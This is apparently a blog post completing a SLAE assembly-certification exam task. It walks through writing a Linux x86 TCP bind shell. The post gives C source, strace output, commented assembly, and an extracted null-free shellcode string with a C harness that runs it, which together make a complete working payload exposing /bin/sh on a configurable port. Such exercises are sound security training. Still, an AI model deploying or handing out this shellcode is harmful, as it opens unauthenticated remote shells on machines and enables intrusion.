1. Introduction
In this blog post I will go through first task of SLAE exam challenge - creating bind shell with easy configurable port which will spawn a shell on connection. My strategy was pretty common - build C code and then based on analysis recreate in assembly.2. C code bind shell
Network programming in Linux is quite straightforward until you try to build something really special. I tried to put as much comments as possible so it would be easy to follow the code.
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
int main() {
int sock_des, client_des, port_num;
struct sockaddr_in addr_ser;
port_num = 2608;
sock_des = socket(AF_INET, SOCK_STREAM, 0); //create a socket for IPv4, TCP, IP
addr_ser.sin_family = AF_INET; // ipv4
addr_ser.sin_port = htons(port_num); // port in network endian
addr_ser.sin_addr.s_addr = INADDR_ANY; // (0.0.0.0)
bind(sock_des, (struct sockaddr*)&addr_ser, sizeof(addr_ser)); //bind to address and port
listen(sock_des, 0); //listen to connection
client_des = accept(sock_des, NULL, NULL); //accept incoming connection
dup2(client_des, 0); // stdin
dup2(client_des, 1); // stdout
dup2(client_des, 2); // stderr
execve("/bin/sh", NULL, NULL); //spawn a shell
return 0;
}
Proof picture:
3. Find out the details
To make my life easier I executed bind shell binary with strace and got list of functions:
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(56797), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0) = 0
accept(3, NULL, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", NULL, NULL) = 0
Next step we need to find system call numbers. I used grep:
grep "socketcall\|dup2\|execve" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
All network calls are inside socketcall() function. It requires 102 (0x66) value in eax, subfunction call number in ebx, arguments in ecx. To get subfunction call numbers I used grep once again:
grep "sys_socket(\|sys_bind(\|sys_listen(\|sys_accept(" /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
4. Assembly code
global _startsection .text
_start:
;clear out registers, edx will be zero till the end of the code
xor eax, eax
xor ebx, ebx
xor edx, edx
;create socket
;int socket(int domain, int type, int protocol)
;int socket(2, 1, 0)
push eax
push 0x01
push 0x02
mov ecx, esp ; ecx points to the top of the stack where our arguments are located
mov al, 0x66
inc bl ; 0x01
int 0x80
mov esi, eax ; store socket descriptor to esi
;bind to address
;int bind (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
;int bind(esi, struct, 0x10)
;sockaddr_in structure:
mov al, 0x66
inc bl ; 0x02
push edx ; address to bind
push word 0xdddd ; port number
push word 0x02 ; push AF_INET
mov ecx,esp ; mov structure pointer in ecx
push 0x10
push ecx
push esi
mov ecx, esp ; ecx points to arguments
int 0x80
;listen
;int listen(int sockfd, int backlog)
;int listen(esi,0)
mov al, 0x66
mov bl, 0x04
push edx ;0x00
push esi
mov ecx, esp
int 0x80
;accept
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
;int accept(esi,0,0)
mov al, 0x66
inc bl ;0x05
push edx
push edx
push esi
mov ecx, esp
int 0x80
mov ebx,eax ; get new file descriptor for dup() call
;duplicate STD
;int dup2(int oldfd, int newfd)
;int dup2(ebx, 0)
mov al,0x3f ;63 in decimal
xor ecx,ecx ;0x00
int 0x80
;int dup2(ebx, 1)
mov al,0x3f
inc ecx ;0x01
int 0x80
;int dup2(ebx, 2)
mov al,0x3f
inc ecx ;0x02
int 0x80
;spawn shell
;int execve(const char *filename, char *const argv[], char *const envp[]);
;int execve(string addr, zero, NULL)
push edx ;string NULL-terminator
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ebx, esp ; pointer to command string
mov ecx, edx ; ecx 0x00
mov al, 0xb
int 0x80
Compile assembly:
nasm -f elf32 -o asm_bind.o asm_bind.nasm
ld -o asm_bind asm_bind.o
Check for any NULL bytes and extract shellcode with command line magic from the course:
objdump -d -M intel asm| grep 00
objdump -d ./asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68\xdd\xdd\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"
Then copy/paste in C code:
#include<stdio.h>
#include<string.h>
#define PORT "\xdd\xdd"
char shell[] =
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68"PORT"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(shell));
void (*fp) (void);
fp = (void *)shell;
fp();
}
Compile the code with gcc -o shell shellcode.c -fno-stack-protector -z execstack and got a bind shell:
5. Disclaimer
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-764
All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam
No comments:
Post a Comment